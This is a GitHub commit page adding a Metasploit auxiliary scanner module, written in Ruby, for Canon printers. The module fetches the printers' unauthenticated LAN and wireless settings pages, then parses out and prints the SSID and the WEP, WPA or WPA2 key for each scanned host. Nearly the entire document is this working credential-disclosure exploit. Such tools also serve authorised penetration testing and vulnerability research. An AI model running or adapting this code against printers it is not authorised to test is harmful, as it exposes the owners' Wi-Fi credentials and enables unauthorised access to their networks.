Skip to content

Commit 5695994

Browse files
committed
Added module to enumerate Canon printer Wifi settings
1 parent e169cca commit 5695994

File tree

1 file changed

+135
-0
lines changed

1 file changed

+135
-0
lines changed
Lines changed: 135 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,135 @@
1+
require 'msf/core'
2+
require 'nokogiri'
3+
4+
class Metasploit3 < Msf::Auxiliary
5+
6+
include Msf::Auxiliary::Report
7+
include Msf::Exploit::Remote::HttpClient
8+
include Msf::Auxiliary::Scanner
9+
10+
def initialize(info={})
11+
super(update_info(info,
12+
'Name' => 'Canon Printer Wireless Configuration Disclosure',
13+
'Description' => %q{
14+
This module enumerates wireless credentials from Canon printers with a web interface.
15+
It has been tested on Canon models: MG3100, MG5300, MG6100, MP495, MX340, MX870, MX890, MX920.
16+
},
17+
'License' => MSF_LICENSE,
18+
'Author' =>
19+
[
20+
'Matt "hostess" Andreko <mandreko[at]accuvant.com>'
21+
],
22+
))
23+
24+
register_options(
25+
[
26+
Opt::RPORT(80),
27+
], self.class)
28+
end
29+
30+
def get_network_settings
31+
begin
32+
res = send_request_raw({
33+
'method' => 'GET',
34+
'uri' => "/English/pages_MacUS/lan_set_content.html",
35+
}, 25)
36+
rescue
37+
print_error("#{rhost}:#{rport} Could not connect.")
38+
return
39+
end
40+
41+
if res
42+
if res.code == 200
43+
44+
html = Nokogiri::HTML(res.body)
45+
46+
checked_lan_setting = html.xpath '//input[@name="LAN_OPT1" and @checked]'
47+
48+
if checked_lan_setting.count == 1
49+
lan_setting = ''
50+
ssid = ''
51+
case checked_lan_setting[0]['value']
52+
when '0'
53+
lan_setting = 'Do not use LAN'
54+
when '1'
55+
lan_setting = 'Use wired LAN'
56+
when '2'
57+
lan_setting = 'Use wireless LAN'
58+
59+
ssid_input = html.xpath '//input[@name="LAN_TXT1"]'
60+
ssid = ssid_input[0]['value'] if ssid_input.count == 1
61+
end
62+
63+
return lan_setting, ssid
64+
else
65+
print_error("#{rhost}:#{rport} Could not determine LAN Settings.")
66+
end
67+
68+
elsif res.code == 401
69+
print_error("#{rhost}:#{rport} Authentication failed")
70+
elsif res.code == 404
71+
print_error("#{rhost}:#{rport} File not found")
72+
end
73+
end
74+
end
75+
76+
def get_wireless_key
77+
begin
78+
res = send_request_raw({
79+
'method' => 'GET',
80+
'uri' => "/English/pages_MacUS/wls_set_content.html",
81+
}, 25)
82+
rescue
83+
print_error("#{ip}:#{rport} Could not connect.")
84+
return
85+
end
86+
87+
if res
88+
if res.code == 200
89+
html = Nokogiri::HTML(res.body)
90+
encryption_setting = ''
91+
encryption_key = ''
92+
93+
checked_encryption_setting = html.xpath '//input[@name="WLS_OPT1" and @checked]'
94+
case checked_encryption_setting[0]['value']
95+
when '0'
96+
encryption_setting = 'None'
97+
when '1'
98+
encryption_setting = 'WEP'
99+
wep_key_inputs = html.xpath '//input[starts-with(@name, "WLS_TXT1") and not(@value="")]'
100+
encryption_key = wep_key_inputs.collect{|x| x['value']}.join(', ')
101+
when '2'
102+
encryption_setting = 'WPA'
103+
wpa_key_input = html.xpath '//input[@name="WLS_TXT2"]'
104+
encryption_key = wpa_key_input[0]['value']
105+
when '3'
106+
encryption_setting = 'WPA2'
107+
wpa2_key_input = html.xpath '//input[@name="WLS_TXT3"]'
108+
encryption_key = wpa2_key_input[0]['value']
109+
end
110+
111+
return encryption_setting, encryption_key
112+
113+
elsif res.code == 401
114+
print_error("#{rhost}:#{rport} Authentication failed")
115+
elsif res.code == 404
116+
print_error("#{rhost}:#{rport} File not found")
117+
end
118+
end
119+
end
120+
121+
def run_host(ip)
122+
123+
ns = get_network_settings
124+
return if ns.nil?
125+
126+
good_string = "#{rhost}:#{rport} Option: #{ns[0]}"
127+
if ns[0] == 'Use wireless LAN'
128+
wireless_key = get_wireless_key
129+
good_string += "\tSSID: #{ns[1]}\tEncryption Type: #{wireless_key[0]}\tKey: #{wireless_key[1]}"
130+
end
131+
132+
print_good good_string
133+
134+
end
135+
end

0 commit comments

Comments
 (0)